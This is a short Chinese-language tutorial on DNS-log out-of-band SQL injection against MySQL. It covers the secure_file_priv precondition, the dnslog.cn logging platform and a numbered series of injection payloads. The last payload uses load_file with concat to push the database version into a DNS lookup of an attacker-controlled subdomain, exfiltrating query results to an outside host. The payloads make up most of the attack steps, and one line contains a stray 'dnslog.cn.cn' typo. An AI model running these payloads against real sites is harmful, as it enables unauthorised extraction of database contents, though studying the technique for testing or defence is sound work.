满足条件
mysql.ini中secure_file_priv必须为空不是null。
secure_file_priv=
secure_file_priv参数及含义
●secure_file_priv 为null 不允许导入导出。
●secure_file_priv 为/tmp 导入导出只能在/tmp目录下。
●secure_file_priv 为空时 则不做限制允许导入导出。
使用工具
DNSLog PlatformDNSLog平台http://www.dnslog.cn/
原理
DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。
如图
用例
1、获取dns
2、确定是字符注入还是数值注入
?id=1'#和?id=1#
3、是否存在注入点
?id=1 and 1=1#和?id=1 and 1=2#
4、log注入
?id=1 and load_file(concat('\\\\',(select version()),'.qdyxbz.dnslog.cn\\abc'))
#'.qdyxbz.dnslog.cn\\abc' 这里的格式为'.dns域名\\abc'
此处concat('\\\\',(select version()),'.qdyxbz.dnslog.cn.cn\\abc')
执行的结果为 \\5.5.53.qdyxbz.dnslog.cn.cn\abc
(\\是文件目录,5.5.53是版本号,.是用来拼接的 ,qdyxbz.dnslog.cn是dns域名,\abc是目录)
5、回显 版本号,库